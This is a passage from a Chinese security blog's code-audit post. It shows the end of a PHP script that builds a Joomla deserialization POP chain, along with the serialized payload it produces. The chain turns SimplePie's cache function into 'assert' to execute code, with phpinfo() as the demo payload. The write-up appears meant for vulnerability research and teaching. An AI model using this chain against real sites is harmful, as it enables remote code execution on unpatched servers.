class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;connection)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;disconnectHandlers <span class="keyword">as</span> $h)</span><br><span class="line">			&#123;</span><br><span class="line">				call_user_func_array($h, <span class="keyword">array</span>( &amp;<span class="keyword">$this</span>));</span><br><span class="line">			&#125;</span><br><span class="line"></span><br><span class="line">			<span class="comment">//mysqli_close($this-&gt;connection);</span></span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">$this</span>-&gt;connection = <span class="keyword">null</span>;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">JSimplepieFactory</span></span>&#123;</span><br><span class="line">	</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">JDatabaseDriverMysql</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SimplePie</span></span>&#123;</span><br><span class="line">	<span class="keyword">var</span> $feed_url=<span class="string">"phpinfo()||http://yml.top"</span>;</span><br><span class="line">	<span class="keyword">var</span> $javascript = <span class="number">9999</span>;</span><br><span class="line">	<span class="keyword">var</span> $raw_data = <span class="keyword">true</span>;</span><br><span class="line">	<span class="keyword">var</span> $cache = <span class="keyword">true</span>;</span><br><span class="line">	<span class="keyword">var</span> $sanitize;</span><br><span class="line">	<span class="keyword">var</span> $cache_name_function = <span class="string">"assert"</span>;</span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">		<span class="keyword">$this</span>-&gt;sanitize = <span class="keyword">new</span> JDatabaseDriverMysql;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">init</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;	</span><br><span class="line">		<span class="keyword">echo</span> <span class="string">'used!!!'</span>;</span><br><span class="line">		<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;feed_url !== <span class="keyword">null</span>)</span><br><span class="line">				&#123;</span><br><span class="line">					$parsed_feed_url = parse_url(<span class="keyword">$this</span>-&gt;feed_url);</span><br><span class="line">					<span class="comment">// Decide whether to enable caching</span></span><br><span class="line">					<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;cache &amp;&amp; $parsed_feed_url[<span class="string">'scheme'</span>] !== <span class="string">''</span>)</span><br><span class="line">					&#123;</span><br><span class="line">						$cache = call_user_func(<span class="keyword">array</span>(<span class="keyword">$this</span>-&gt;cache_class, <span class="string">'create'</span>), <span class="keyword">$this</span>-&gt;cache_location, call_user_func(<span class="keyword">$this</span>-&gt;cache_name_function, <span class="keyword">$this</span>-&gt;feed_url), <span class="string">'spc'</span>);</span><br><span class="line">					&#125;</span><br><span class="line">				&#125;		</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line">$a = <span class="keyword">new</span> JDatabaseDriverMysqli;</span><br><span class="line"><span class="keyword">echo</span> serialize($a);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p><code>Output</code></p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:21</span><span class="selector-pseudo">:"JDatabaseDriverMysqli"</span><span class="selector-pseudo">:3</span>:&#123;<span class="attribute">s</span>:<span class="number">21</span>:<span class="string">"*disconnectHandlers"</span>;<span class="attribute">a</span>:<span class="number">2</span>:&#123;i:<span class="number">0</span>;<span class="attribute">a</span>:<span class="number">2</span>:&#123;i:<span class="number">0</span>;<span class="attribute">s</span>:<span class="number">9</span>:<span class="string">"SimplePie"</span>;<span class="attribute">i</span>:<span class="number">1</span>;<span class="attribute">s</span>:<span class="number">4</span>:<span class="string">"init"</span>;&#125;<span class="selector-tag">i</span><span class="selector-pseudo">:1</span>;<span class="selector-tag">s</span><span class="selector-pseudo">:3</span><span class="selector-pseudo">:"yml"</span>;&#125;<span class="selector-tag">s</span><span class="selector-pseudo">:13</span><span class="selector-pseudo">:"</span>*<span class="selector-tag">connection</span>";<span class="selector-tag">b</span><span class="selector-pseudo">:1</span>;<span class="selector-tag">s</span><span class="selector-pseudo">:4</span><span class="selector-pseudo">:"</span>*<span class="selector-tag">a</span>";<span class="selector-tag">N</span>;&#125;</span><br></pre></td></tr></table></figure>

      
    </div>
    
    
    

    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechatpay.jpg" alt="夜莫离、 WeChat Pay">
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/alipay.jpg" alt="夜莫离、 Alipay">
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/代码审计/" rel="tag"># 代码审计</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/08/19/SUCTF2019部分web题解/" rel="next" title="SUCTF2019部分web题解">
                <i class="fa fa-chevron-left"></i> SUCTF2019部分web题解
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/12/30/积累的一些web题目/" rel="prev" title="积累的一些web题目">
                积累的一些web题目 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Table of Contents
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Overview
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">夜莫离、</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">58</span>
                  <span class="site-state-item-name">posts</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">16</span>
                  <span class="site-state-item-name">tags</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/yemoli" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://chxing.xyz/" title="Bling_Dog" target="_blank">Bling_Dog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.smi1e.top/" title="Smi1e" target="_blank">Smi1e</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://altman.vip/" title="Altman" target="_blank">Altman</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.virtua1.cn/" title="Virtua1" target="_blank">Virtua1</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.zhaoj.in/" title="赵" target="_blank">赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.dongzt.cn/" title="Alkaid" target="_blank">Alkaid</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://cdusec.com/" title="CDUSEC" target="_blank">CDUSEC</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://cdusec.happyhacking.top/" title="CDUSEC内部博客" target="_blank">CDUSEC内部博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://jjhpkcr.xyz/" title="江江河畔砍柴人" target="_blank">江江河畔砍柴人</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.youknowi.xin/" title="图先生" target="_blank">图先生</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://a3ura.github.io/" title="a3ura" target="_blank">a3ura</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.recorday.cn/" title="C0d3r1iu" target="_blank">C0d3r1iu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.iloveflag.com/" title="醉梦半醒" target="_blank">醉梦半醒</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#前言"><span class="nav-number">1.</span> <span class="nav-text">前言</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#原理分析"><span class="nav-number">2.</span> <span class="nav-text">原理分析</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#POP链构造"><span class="nav-number">3.</span> <span class="nav-text">POP链构造</span></a></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 &mdash; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">夜莫离、</span>

  
</div>


  <!-- <div class="powered-by">Powered by <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a></div> 



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Mist</a> v5.1.4</div>-->



<div class="theme-info">
 <div class="powered-by"></div>
 <span class="post-count">博客全站共63.1k字</span>
</div>
        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

  
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>

<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/love.js"></script>
</body>
</html>
